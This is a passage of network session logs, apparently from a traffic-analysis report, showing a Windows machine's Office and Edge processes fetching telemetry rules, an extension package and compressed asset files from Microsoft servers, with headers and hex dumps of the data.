T="1" R="120651" /> <SR T="2" R="([Ii][Nn][Nn][Oo][Tt][Ee][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
70	192.168.2.7	49831	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:05:46 UTC	192	OUT	GET /rules/rule120654v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 20:05:47 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 20:05:47 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:05 GMT ETag: "0x8DC582BA54DCC28" x-ms-request-id: bdf96f18-c01e-0066-808c-3aa1ec000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T200547Z-r1d97b99577tssmjhC1TEB8kan00000009900000000069nd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 20:05:47 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120654" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
71	192.168.2.7	49834	152.195.19.97	443	4888	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:05:46 UTC	624	OUT	GET /filestreamingservice/files/bdc392b9-6b81-4aaa-b3ee-2fffd9562edb?P1=1732737942&P2=404&P3=2&P4=lGXE3cujq4NOwc5uk%2fN9%2f5Cavvl2DUh8XveuolXsoCpPUtB2v%2flimyfa4T%2f%2b2z6iuzcwznoLaQy3rpvFg%2bGx4A%3d%3d HTTP/1.1 Host: msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.com Connection: keep-alive MS-CV: Tif2bwwN+MvdyjJiNcDVK8 Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-20 20:05:47 UTC	633	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Age: 12059678 Cache-Control: public, max-age=17280000 Content-Type: application/x-chrome-extension Date: Wed, 20 Nov 2024 20:05:47 GMT Etag: "Gv3jDkaZdFLRHkoq2781zOehQE8=" Last-Modified: Wed, 24 Jan 2024 00:25:37 GMT MS-CorrelationId: b4b4aabf-4d02-4629-96b1-a382405b6a31 MS-CV: 642I+iNy0Qp5KFcIV/sUKh.0 MS-RequestId: 5245ac9e-0afd-43ce-8780-5c7d0bedf1d4 Server: ECAcc (nyd/D11E) X-AspNet-Version: 4.0.30319 X-AspNetMvc-Version: 5.3 X-Cache: HIT X-CCC: US X-CID: 11 X-Powered-By: ASP.NET X-Powered-By: ARR/3.0 X-Powered-By: ASP.NET Content-Length: 11185 Connection: close
2024-11-20 20:05:47 UTC	11185	IN	Data Raw: 43 72 32 34 03 00 00 00 1d 05 00 00 12 ac 04 0a a6 02 30 82 01 22 30 0d 06 09 2a 86 48 86 f7 0d 01 01 01 05 00 03 82 01 0f 00 30 82 01 0a 02 82 01 01 00 bb 4e a9 d8 c8 e8 cb ac 89 0d 45 23 09 ef 07 9e ab ed 9a 39 65 ef 75 ea 71 bc a5 c4 56 59 59 ef 8c 08 40 04 2b ed 43 d0 dc 6b a7 4f 88 b9 62 4b d3 60 94 de 36 ee 47 92 ab 25 8a 1e cc 0d fa 33 5a 12 19 8e 65 20 5f fd 36 15 d6 13 1e 46 ae 8b 31 70 18 f1 a8 4b 1d 5a ff de 0e 83 8e 11 b2 2f 20 ed 33 88 cb fb 4f 54 94 9e 60 00 d3 bc 30 ab c0 d7 59 8b b0 96 46 54 fc f0 34 33 1c 74 68 d6 79 f9 0c 8c 7d 8a 91 98 ca 70 c6 4c 0f 1b c8 32 53 b9 26 69 cc 60 09 8d 6f ec f9 a6 66 8d 6f 48 81 0e 05 8a f1 97 4e b8 c3 94 3a b3 f7 69 6a 54 89 33 da 9e 46 7b d1 30 bb 2c cc 66 3f 27 66 e3 43 51 74 3b 62 5f 22 50 63 08 e5 20 Data Ascii: Cr240"0*H0NE#9euqVYY@+CkObK`6G%3Ze _6F1pKZ/ 3OT`0YFT43thy}pL2S&i`ofoHN:ijT3F{0,f?'fCQt;b_"Pc

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
72	192.168.2.7	49832	13.107.246.40	443	4888	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:05:46 UTC	470	OUT	GET /assets/edge_hub_apps_manifest_gz/4.7.107/asset?assetgroup=Shoreline HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Edge-Asset-Group: Shoreline Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-20 20:05:47 UTC	557	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 20:05:47 GMT Content-Type: application/octet-stream Content-Length: 306698 Connection: close Content-Encoding: gzip Last-Modified: Tue, 10 Oct 2023 17:24:31 GMT ETag: 0x8DBC9B5C40EBFF4 x-ms-request-id: f7de228a-101e-0073-0287-3b18c4000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241120T200547Z-178bfbc474bq2pr7hC1NYCkfgg00000000m000000000k97d Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-11-20 20:05:47 UTC	15827	IN	Data Raw: 1f 8b 08 08 cf 88 25 65 02 ff 61 73 73 65 74 00 ec 7d 69 93 db 46 92 e8 5f a9 f0 97 fd e0 96 05 10 00 09 4c c4 8b 17 2d f9 92 6d f9 92 6d 8d fd 66 43 51 00 0a 24 9a 20 40 e1 60 ab 7b 76 fe fb ab cc 2c 10 09 82 07 c8 a6 bc 9e 8d 0d 5b 68 b0 8e bc eb 44 55 e6 3f 3f 59 c9 3c 4d 54 55 bf db a8 b2 4a 8b fc 93 bf 89 4f dc cf ac cf ac 4f 6e c4 27 8b 26 7c 27 d7 eb 4a 27 fe bf 7f 7e 92 c6 90 19 c5 ee d4 f7 65 f0 4c f9 be ff cc f5 95 7c 26 63 df 7e 36 9b da 81 13 7b d3 d0 0e 15 d4 cd e5 4a 41 f9 77 ef 5e bf f9 ea 1d fc 7a f7 0e d2 19 1e fb 33 fd df 0c 12 63 55 45 65 ba ae 4d 06 d5 61 89 54 75 a9 1e 20 f7 f5 ab 57 2f 5e dd dd 7e ff 62 be 7c bf 58 a6 5f 05 f7 d6 8b db 9f be f8 f2 f6 f6 87 97 b7 3f f9 b7 90 ff 72 fe ad 7e ff e2 76 9d 58 77 ee 57 8b 1f de ff 14 f9 fe Data Ascii: %easset}iF_L-mmfCQ$ @`{v,[hDU??Y<MTUJOOn'&\|'J'~eL\|&c~6{JAw^z3cUEeMaTu W/^~b\|X_?r~vXwW
2024-11-20 20:05:48 UTC	16384	IN	Data Raw: ee 07 cf ac 5b ca 81 54 5b 25 f6 36 51 93 15 e8 c2 2b 22 50 fc 52 36 6d 55 35 59 19 67 e4 56 be d8 2d df fd 8c 1c b1 48 e9 85 d8 d5 6f a1 88 16 05 b8 ea d5 42 20 2f c6 fa c5 ab 21 ae b4 7e 71 4c 7c 69 3b da be 2c c4 3c 45 31 58 f6 5a d0 75 29 2d 10 91 2f b6 81 a8 f1 77 27 4d cb 46 c3 d1 f2 cb e7 17 7d 3c d0 6a 30 b1 ed 19 11 24 85 30 ed b3 77 98 0a a3 d3 4d 8a a4 58 a6 1a 92 6f 39 a0 66 5b a9 58 c4 f8 d7 db 13 a4 38 9f 53 18 72 e3 d6 58 c9 9c 2a 85 f1 21 3d 9d 12 35 51 d6 f4 74 9e 6e f9 3a 6f 4c fc e5 2c 53 f9 7a 94 a9 7c 50 ab 8e d8 56 01 86 95 11 92 ce 4d 82 a9 12 26 c6 7f 9c 55 b4 0d eb a8 c4 4f 75 f1 df 12 7e 7b 85 2d 18 bd 99 6f 4d 95 18 8d 35 7f b9 51 da bc b3 17 f2 61 66 41 16 70 9d 0a 0c 87 07 e7 d4 da 16 34 27 65 eb d7 87 be 44 96 29 71 b2 3a d6 Data Ascii: [T[%6Q+"PR6mU5YgV-HoB /!~qL\|i;,<E1XZu)-/w'MF}<j0$0wMXo9f[X8SrX*!=5Qtn:oL,Sz\|PVM&UOu~{-oM5QafAp4'eD)q:
2024-11-20 20:05:48 UTC	16384	IN	Data Raw: 9d 6b d1 e4 03 44 91 0f c7 24 3e 9c a5 f8 80 ce e1 c3 bd 55 1f 7c 0d 7d f0 d6 f4 e1 f6 6d f9 6c 42 78 a7 7a 8f cf 80 2a 42 b1 ca af 46 95 01 06 85 53 be 7a 50 c8 12 ce 7e 7c 44 29 29 63 83 14 66 50 e5 69 9e ba 94 a2 14 a9 44 53 56 22 78 06 d0 d3 7d 25 3d 51 7e fc 63 e8 77 69 11 9c 24 cb 92 42 e9 e0 d4 ac cc c6 c2 0a 92 55 72 f4 61 88 91 31 1f 4c 69 b4 9b 0f a5 64 32 91 6a 99 5a 87 05 9b b8 18 4d b6 69 0c 05 60 46 80 c2 34 75 85 d5 88 cf a4 31 10 78 28 99 44 01 7e 6d 51 37 26 3d f1 aa c8 64 77 98 90 c3 4a 88 b9 d5 8c 73 bc 9b 5c 69 65 23 a6 fb 16 9b 26 25 05 ac fc cc 1e 87 56 e3 bd 7f 86 8d d9 de 4d 93 29 aa 7c fe d1 06 5b da c5 90 55 b0 c9 33 35 1b d9 51 ad b2 ea c6 9a c4 a2 90 04 54 de 86 42 2d d9 e8 78 24 ab 24 51 69 66 82 d7 44 e8 1d cf c8 e2 16 60 37 Data Ascii: kD$>U\|}mlBxz*BFSzP~\|D))cfPiDSV"x}%=Q~cwi$BUra1Lid2jZMi`F4u1x(D~mQ7&=dwJs\ie#&%VM)\|[U35QTB-x$$QifD`7
2024-11-20 20:05:48 UTC	16384	IN	Data Raw: 73 b5 e6 a0 67 39 bd 50 cf ce e5 f5 33 b4 5b f6 96 18 f6 1d 3d 5b 1c 62 ee 08 9c b4 27 31 5c bf 95 0d 07 a0 cf bc bf ec e9 f3 e3 25 7d d1 cd 7e e8 fe 69 3f 94 32 74 6d 41 40 30 f4 9d 21 ef 18 ab 09 e0 e5 30 bf 56 97 43 99 8d fb 5c b1 3a 15 2a 0c 9d 5f c9 d3 47 70 60 b0 6e 17 9c 16 bc 33 94 8f dc 87 1c 2e 65 5f 80 b0 c7 e2 bb 6a f4 3b c8 60 00 83 b2 83 02 16 e1 3f 69 68 e4 62 45 17 99 ba 9d 9d b7 00 7d 2a 5a 5f 88 af 8b 22 5d 84 79 61 b8 38 c9 2f d4 62 3c 2f ee 0a 38 04 98 69 d8 af 45 cf 43 a8 9b 3e 6e dd 69 b8 01 0b 4d c5 2a d4 d8 5d 7a b1 5f 94 d0 5d 79 e7 c9 87 c6 d5 b9 5d 89 1b 44 f3 5a 14 67 85 e9 1a ef c2 74 b9 63 86 3e c2 71 a7 08 94 eb 44 58 ad 1a 5c 09 02 5c 4d 1b c8 2c 53 c1 71 b8 50 80 6e 30 91 49 05 4e 42 60 22 53 9e 67 6f 08 ac 30 cf 05 cd b5 Data Ascii: sg9P3[=[b'1\%}~i?2tmA@0!0VC\:_Gp`n3.e_j;`?ihbE}Z_"]ya8/b</8iEC>niM*]z_]y]DZgtc>qDX\\M,SqPn0INB`"Sgo0
2024-11-20 20:05:48 UTC	16384	IN	Data Raw: 7f 7f fe e2 4d 8e 52 97 9f 5c d2 a4 d2 9b 7f 21 19 ca ff db 31 e3 e4 f2 51 b8 7c 74 b3 4c aa e5 59 09 49 a3 cf 51 d6 87 a5 4c 6d 23 e7 30 3b 3e ce a2 ff dd d2 a2 4d 1f 0e 14 fd d7 52 7f fd 1c ea cf 13 55 dc a3 6d 85 4b 4e 63 b4 12 03 65 33 26 36 bd 72 f4 19 04 1a d9 86 f6 84 1c dd 9e ee 21 e8 65 4d aa 2f f0 f8 0a fb d1 85 1e 53 4d 3f 5f a5 fc d4 0d f8 28 79 f7 b1 c1 a5 fc 51 df bc 30 df bf cb 6f cb 2a 09 d7 1f 99 f4 19 6a 7e d9 a5 f8 7e 7b c5 59 31 55 b2 99 9f 7d 02 06 e8 6e c6 98 ec a9 7c 3f 2a 1d 34 e5 bd 0a 8f e7 88 3e 74 c3 0b e7 6b 10 2c 4f 53 5d 7c 86 e2 09 77 99 7d ee 02 3a 9d f3 a7 29 a2 13 79 ee 15 d2 a7 37 fd 67 b6 f7 67 33 72 df b2 23 59 ef 55 5d e5 6f cb 55 7e 43 6c b7 99 fc 2e 56 9e 6f 2b 5e 74 f2 ea 6e 17 ed 6d 37 04 2d f5 5a 8e f8 43 2b c3 Data Ascii: MR\!1Q\|tLYIQLm#0;>MRUmKNce3&6r!eM/SM?_(yQ0oj~~{Y1U}n\|?4>tk,OS]\|w}:)y7gg3r#YU]oU~Cl.Vo+^tnm7-ZC+
2024-11-20 20:05:48 UTC	16384	IN	Data Raw: c3 9c 0b 06 79 cd 66 e0 72 84 3b 54 b9 74 ef 35 53 7d 3b 8c b0 a9 fd 1b 50 a9 de 74 45 72 7e 1b f0 2a c4 ee 75 56 a9 f1 4f 0b e2 ef 4c 0e 04 e6 c1 13 43 d1 a3 91 83 19 d3 3d c4 08 0f b5 d5 e1 f0 41 7b 02 cf 94 80 35 8c 5f 5f 02 90 85 fa 86 bb ab e1 02 93 a8 c3 01 b8 10 ce 1a 84 70 ba 2a 74 48 e2 74 7c 83 87 f5 42 38 70 15 c2 ce 65 08 08 86 a0 47 21 98 5b b8 58 62 21 c8 96 0d 6c 09 61 e7 32 c4 b3 5e a1 8d a0 20 7d 39 b0 28 5c c6 6d 21 84 b7 80 4c dc 70 c4 2e c4 f3 19 21 9c 8e d6 1f 96 d8 f4 9d 32 40 37 a4 47 84 1e d1 c7 65 89 5f 63 82 1d d4 5a 86 2d e5 f8 15 59 45 61 ea 67 ab 2d d9 61 85 e3 91 0f 94 e7 67 25 02 3d 4f 28 55 ad 17 c6 a0 29 6a 5d 21 2a cd 7e af 45 5e 0b 01 e5 6c bb ed 07 fa bc 5c f7 4e 60 6b e1 20 c2 ba 99 b8 6d 1e 51 d5 3c d5 da e1 b5 2c a1 Data Ascii: yfr;Tt5S};PtEr~uVOLC=A{5__ptHt\|B8peG![Xb!la2^ }9(\m!Lp.!2@7Ge_cZ-YEag-ag%=O(U)j]!*~E^l\N`k mQ<,
2024-11-20 20:05:48 UTC	16384	IN	Data Raw: 62 01 a8 b8 2e 41 68 d5 3e af 78 77 09 5e a1 a8 7e 3d bf 65 90 da ff 6d 58 c3 e3 86 29 f6 22 00 98 2a 9c 68 97 65 63 ac 5c ad 09 2b 23 82 8f 3f 2b 34 4c 1f 01 76 0d 06 ed 44 0f a9 a0 b1 63 30 c2 0d f2 ad 15 f9 9d a6 73 4a 64 c6 38 b2 91 d1 0a 38 ec f1 61 a5 51 a1 65 d6 96 da 34 5b b9 be df 70 92 06 98 c1 37 67 b8 7a fd 34 cd 5e 44 c0 aa b0 27 6e 0c f2 e2 f9 5e 7c 0a 17 b4 b4 16 73 66 52 b2 05 40 56 84 20 c3 90 88 0a 5a 8e f1 3d 96 59 b7 5f a7 63 31 3c 17 3a a9 04 30 4b 80 0e 09 8b 60 e1 5d df da 55 e1 6d 20 56 de 3a 5a 4e 4e 36 25 71 5c 12 7e f1 93 97 31 94 a1 29 89 f2 0a 40 a9 02 bf 55 03 2f 98 74 5f 78 73 cb c5 29 4c e9 ad ef d3 e0 e9 ec 15 b9 9a 03 cf 91 db 7e f5 f0 08 3e bd 4a a1 b3 a7 63 d1 45 bf 50 93 bc bc 7d c3 e9 75 22 5d 68 d9 1e 50 8f 5c 23 a1 Data Ascii: b.Ah>xw^~=emX)"*hec\+#?+4LvDc0sJd88aQe4[p7gz4^D'n^\|sfR@V Z=Y_c1<:0K`]Um V:ZNN6%q\~1)@U/t_xs)L~>JcEP}u"]hP\#
2024-11-20 20:05:48 UTC	16384	IN	Data Raw: 75 5c b5 f2 6d d4 e3 16 ed 7d 0a 76 94 c1 8e a7 30 9e 08 64 07 27 9d 18 c0 52 7d e4 67 ff 5d dd ba 83 b1 dc 5d 98 95 9f fd f7 4f 5a 26 c7 8a 7a a4 2b 67 ea ac d1 ee 4b f3 ee 5b 7c 55 87 5f ce 64 5a d1 d6 85 f4 9d 84 43 1d a5 d1 4e 33 c2 52 b6 ac ef d9 7f de 15 61 44 a2 b6 4f fe 03 39 27 95 29 d1 71 16 47 ff 7e 40 2f ff 09 6e 49 c5 ba 2c 58 72 fd b4 fc 2b 2f d4 a3 80 7f e2 4e fd ca 3b f8 f4 09 87 9a 38 33 24 7f 45 a2 7e d3 4f 4e 87 8c cb 8b 02 7f df 7f ff 57 75 a1 22 3d 51 a9 78 41 7d 1b c5 f8 9b d0 7f 72 fc 7d ff 85 6a 70 ab 5e dc aa 41 ca 56 bd b0 55 00 76 02 c7 a0 ea 57 7d b2 c3 fb 0a b5 58 bd 1f ab f6 63 d5 ec bd 82 b3 c7 5f d5 89 ed 15 3f f6 0a e5 7d 86 bf 7b f2 4f 82 f3 1a ea 09 06 a9 c9 03 c6 95 ea 57 bd 73 50 18 1d 54 fb 07 d5 da 41 bd 99 aa 6f 53 Data Ascii: u\m}v0d'R}g]]OZ&z+gK[\|U_dZCN3RaDO9')qG~@/nI,Xr+/N;83$E~ONWu"=QxA}r}jp^AVUvW}Xc_?}{OWsPTAoS
2024-11-20 20:05:48 UTC	16384	IN	Data Raw: f9 9e 4a 6a 38 c3 9d 71 93 60 68 53 6d 70 93 f4 d8 cb 92 d6 1c 64 0c 55 29 d1 f7 86 61 3a 23 da d5 06 e4 b2 85 18 31 bb 0e 46 71 38 52 33 8f 24 f5 9e 43 1a 6d 32 5a be 90 91 0a d3 47 69 32 eb 74 ec 30 03 b3 0a 2f 45 60 14 c3 56 8c 9b d3 2c f6 4c cc 87 6e 54 d0 da 28 ed 5d 8d 3a 4d 4a aa f1 2e 74 2f 9f 56 e9 a4 49 86 4c 15 33 4f 70 79 ad 9c 27 57 fe 5f f1 b5 af dc 2b a5 7e 6a ff d6 06 bc 0c 5d f6 df fe e1 b9 f2 44 21 e0 ef 42 ef 50 c9 9d 6d c4 b7 e0 a2 c1 1c b4 2f 36 29 c7 0d cd c5 5f 01 b2 80 f3 b0 10 3b 89 01 c5 9d d8 7c 07 2e 18 db 27 d6 4f f2 63 9c b0 f6 f2 ae c9 8b 6c b2 c4 37 76 c1 ad 55 68 26 ab 9f 6e 0d f6 97 8b d0 7b ae f0 47 ed 5d 9f e5 af 8e d0 8d 25 c1 76 f1 dc 48 82 c0 c8 4e c8 12 40 65 5d 3f 2f 1b ab ff 79 9a 2b b3 79 5d 62 4f 7c d5 ff 34 22 Data Ascii: Jj8q`hSmpdU)a:#1Fq8R3$Cm2ZGi2t0/E`V,LnT(]:MJ.t/VIL3Opy'W_+~j]D!BPm/6)_;\|.'Ocl7vUh&n{G]%vHN@e]?/y+y]bO\|4"
2024-11-20 20:05:48 UTC	16384	IN	Data Raw: 49 98 d9 64 0e 08 ef 71 ff 50 b9 f3 86 37 4a 22 88 52 55 4a 91 92 53 0e 3c c2 3f 65 33 a3 28 fd 5a 9a 2e 91 76 ec f5 34 94 dc 1a 84 a2 be c1 0e 7a 8b 67 39 3e 58 c7 23 2c 7e 30 2a a9 04 8f 00 e5 ea b9 90 8e 19 22 31 4f 88 ac 1a 1f 76 bd 44 ab b4 23 ff 6a 0e 16 d3 4b 19 b1 5f 46 1a 8c 28 02 0b 82 4d 75 9f bc a7 ab d3 c0 ac 12 2c 1a e1 ca 61 62 a5 73 bf 90 ea 26 30 cc b6 60 ae a5 03 4b 60 ea 7c b9 bf 27 e4 0d 14 35 5a 3a 2d d3 09 b2 1d da a4 23 ee 1b c6 42 eb 6f 46 58 98 31 2d 33 81 d2 c7 b9 ea 4a e4 45 53 f8 1b 85 d6 9a f9 1c dd e5 4a cf 08 96 59 af e8 ce 28 b3 02 0e 0d ee 14 62 4a 58 2a 40 44 d3 12 5b 39 93 33 26 50 17 82 cc e2 88 1a 71 ab dd fe 3c 12 6a 79 40 5e 32 8d a6 25 53 15 5e 3f 60 3e a6 cb e9 d4 75 42 52 43 29 e8 e5 94 bf 82 e4 a6 c8 40 37 67 5f Data Ascii: IdqP7J"RUJS<?e3(Z.v4zg9>X#,~0"1OvD#jK_F(Mu,abs&0`K`\|'5Z:-#BoFX1-3JESJY(bJX@D[93&Pq<jy@^2%S^?`>uBRC)@7g_

Session ID	Source IP	Source Port	Destination IP	Destination Port
73	192.168.2.7	49827	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:05:46 UTC	192	OUT	GET /rules/rule120650v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 20:05:47 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 20:05:47 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989EE75B" x-ms-request-id: fcdc764c-f01e-0052-4963-3b9224000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T200547Z-178bfbc474bwh9gmhC1NYCy3rs00000000mg0000000043e7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-20 20:05:47 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120650" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
74	192.168.2.7	49833	13.107.246.40	443	4888	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:05:46 UTC	711	OUT	GET /assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Edge-Asset-Group: EntityExtractionDomainsConfig Sec-Mesh-Client-Edge-Version: 117.0.2045.47 Sec-Mesh-Client-Edge-Channel: stable Sec-Mesh-Client-OS: Windows Sec-Mesh-Client-OS-Version: 10.0.19045 Sec-Mesh-Client-Arch: x86_64 Sec-Mesh-Client-WebView: 0 Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-20 20:05:48 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 20:05:48 GMT Content-Type: application/octet-stream Content-Length: 70207 Connection: close Content-Encoding: gzip Last-Modified: Thu, 07 Nov 2024 20:03:34 GMT ETag: 0x8DCFF6742E8F24C x-ms-request-id: e2b3c801-c01e-0053-2b87-3b7408000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241120T200547Z-178bfbc474bnwsh4hC1NYC2ubs00000000g0000000005wz2 Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 69316365 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-11-20 20:05:48 UTC	15821	IN	Data Raw: 1f 8b 08 08 16 1d 2d 67 02 ff 61 73 73 65 74 00 ec bd 0b 97 db 36 b2 30 f8 57 b2 b9 33 b3 dd 89 d5 d6 5b dd d9 cd fa f4 d3 f1 f8 39 6d 3b 19 db f1 d5 01 49 48 a2 45 91 0c 1f 6a ab c3 be bf 7d 0b 05 80 00 08 50 52 db ce 77 ef b7 67 67 9c 16 09 14 0a 40 a1 50 a8 2a 14 c0 3f bf f7 93 78 16 ce bf ff e9 bb 3f bf 2f 92 25 8d a7 51 b8 0a 0b 78 ef 8d bb dd 07 df 7d 9f 92 39 9d fa 65 91 cc 66 90 38 1c f4 59 62 40 67 a4 8c 8a 69 94 f8 24 a2 d3 15 49 11 81 c7 f0 c0 df 0e 3c 00 94 97 e3 6b de f1 08 7b a5 11 7b a5 51 67 9e e1 6b 8c af 71 a7 cc f1 15 81 69 de 59 7d c6 d7 02 5f 8b 0e a5 ec d5 c7 5c 3f ef f8 b7 ec 35 20 ec 35 20 9d 60 89 af 14 5f 69 27 40 e0 19 e6 ce 48 27 c4 8a 66 21 be 86 1d 78 60 af 19 be 66 9d 19 e6 2e b0 ec 82 76 c2 08 5f 31 77 91 75 16 3c b7 c4 d7 Data Ascii: -gasset60W3[9m;IHEj}PRwgg@P*?x?/%Qx}9ef8Yb@gi$I<k{{QgkqiY}_\?5 5 `_i'@H'f!x`f.v_1wu<
2024-11-20 20:05:48 UTC	16384	IN	Data Raw: 2c 30 96 c2 52 09 74 65 c0 2a 8a c3 88 95 9c 7c 3e a9 79 09 d4 fa 9a 9f 30 4a 49 28 2b d7 97 ff 7a 7b f9 fa cd f4 c9 05 68 2b 37 9c c1 08 01 cb 2f 28 f3 02 34 de 08 0c a6 34 da 38 c6 ec 48 27 33 28 96 9f 45 d9 4f 9f 12 f7 54 d2 47 a6 39 87 08 81 e9 6d 4f c1 43 97 10 bf ad 59 55 67 39 13 fe 1e 05 67 65 16 87 6c 9b f5 cb 90 60 eb 3d ea 25 09 33 8b f9 4a fb 10 ef 11 3b 7c e8 61 60 14 a0 60 b9 7c 16 e7 69 54 b1 c3 22 c0 e0 29 df c2 05 4c 8f bc f0 67 5e 04 75 33 51 9a b7 e1 61 1a 61 48 f5 c3 30 f7 62 91 d5 a8 34 39 2a 97 ff 2d f5 aa c1 c2 6c 78 e0 35 33 d1 42 b3 75 c4 be 3b f4 d0 68 83 51 a7 81 2d a0 ff 0d 5d 10 62 ed 7f 55 a5 99 9f 25 2b 2f a4 4d 09 21 65 43 c7 04 cf 93 19 f3 c1 d0 b6 e9 14 38 59 31 29 8b 4d 52 3a c4 97 c1 d0 1d 5d d0 58 b3 51 22 09 e8 37 c0 Data Ascii: 